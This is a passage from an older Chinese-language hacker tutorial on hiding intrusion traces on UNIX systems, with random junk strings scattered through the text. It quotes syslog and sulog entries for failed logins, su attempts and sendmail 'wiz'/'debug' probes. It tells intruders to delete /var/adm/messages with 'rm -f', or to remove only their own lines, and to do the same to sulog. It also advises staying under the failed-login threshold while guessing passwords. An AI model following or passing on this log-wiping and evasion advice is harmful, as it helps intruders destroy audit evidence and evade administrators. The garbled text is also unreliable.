1,"May 4 08:48:35 numen login: REPEATED LOGIN FAILURES ON /dev/pts/9 FROM sams4 u( N% l2 p2 N( t [
4 q+ h! v B3 j. ^": Y& U- J/ Y8 e2 b
2 f% ~$ x; P( B
重復(fù)登錄失敗!如果你猜測口令的話,你肯定會經(jīng)歷很多次這樣的失??!1 ]* M4 q1 P5 C# G5 {' Y
* L6 t3 f1 ]7 K* N3 x( F# r
不過一般的UNIX系統(tǒng)只有一次telnet session連續(xù)登錄5次失敗才會記這么一條,所以
; a- C8 J. P2 i6 B- _ e, L6 D& G6 B3 [
當(dāng)你4次嘗試還沒成功,最好趕緊退出,重新telnet...
5 x8 c% d6 w9 M2 V3 n& ~7 k, ]% D5 r& J& R1 j) h
2,"May 5 10:30:35 numen su: 'su root' failed for cxl on /dev/pts/15"
) L4 x2 O2 c. Y# R2 o& R" i4 H& k6 D/ p/ p" \
"May 18 17:02:16 numen su: 'su root' succeeded for zw on /dev/pts/1"
: H8 h% g3 v2 F( {! j5 A
0 R9 v' _7 v$ n如果黑客想利用``su''成為超級用戶,無論成功失敗,messages里都可能有記錄...
5 _ {+ O M4 o) D
3 g6 {) S7 q" o( _" r8 O6 k3,"Apr 29 10:12:23 numen sendmail[4777]: NOQUEUE: "wiz" command from numen"( S6 x% r3 F% l
% b" X* j+ a5 o. ^3 q6 H: J"Apr 29 10:12:23 numen sendmail[4777]: NOQUEUE: "debug" command from numen"
1 P) X# n8 i$ u9 {: {
3 Q' G& Y1 M9 j; }7 ?, P C* y2 hSendmail早期版本的``wiz''、``debug''命令是漏洞所在,所以黑客可能會嘗試這兩個% u' [% ?" f; w g) F7 W% l
& n4 U$ {1 z v9 b% k" ]
命令...
# g; H% Y( f, l3 |; F. `2 H3 W
0 o1 M7 E6 P- ?5 J* H- L因此,/var/adm/messages也是暴露黑客行蹤的隱患,最好把它刪掉(如果能的話,哈哈)!
8 J% r" I D' D
# g% c" U' W& m* {* F0 |?; J; f. |+ a" x9 T
/ W# K% G5 E4 ?. a1 g
# rm -f /var/adm/messages; l: A6 @: A: d
3 W) E7 k" W2 B0 _6 h; ^(samsa:爽!!!)
' N1 |" w6 M. J9 O* @9 }$ G' p2 V- D; @( ]. N# {
或者,如果你不想引起注意的話,也可以只把對應(yīng)的行刪掉(當(dāng)然要有寫權(quán)限)。
! u; W1 x- U8 _% U! B* r$ R, a
) l6 E9 l- D4 h: e& V9 mΦ男猩鏡簦ǖ比灰?行慈ㄏ蓿??
% V# m- K1 n: p" Q9 h0 {0 w$ T9 C6 B) S1 \+ u) p
3.4) sulog9 V% s! ]' Z5 L
! e# l7 l% q/ C& k% j$ C9 [/var/adm下還有一個sulog,是專門為su程序服務(wù)的:8 v' U5 y: [; U. {% ]' b" A: b
5 \, p% b! E. a0 B& o
# cat sulog7 g0 ?+ B8 T- G; q+ g+ L+ e4 B
9 c& }$ w# ~* [1 v O
SU 05/06 09:05 + console root-zw% D }1 H# n# ^& m" Z6 @& n
1 j7 F/ D4 A, C/ ?4 F, f8 J% {
SU 05/06 13:55 - pts/9 yxun-root
6 W4 d5 [+ K! {" a
, R0 j+ z8 B9 N4 x* Q3 ?' VSU 05/06 14:03 + pts/9 yxun-root
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0 K6 y% L$ V1 f! S其中``+''表示su成功,``-''表示失敗。如果你用過su,那就把這個文件也刪掉把,
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7 u( W( \$ I; d" M或者把關(guān)于你的行刪掉 |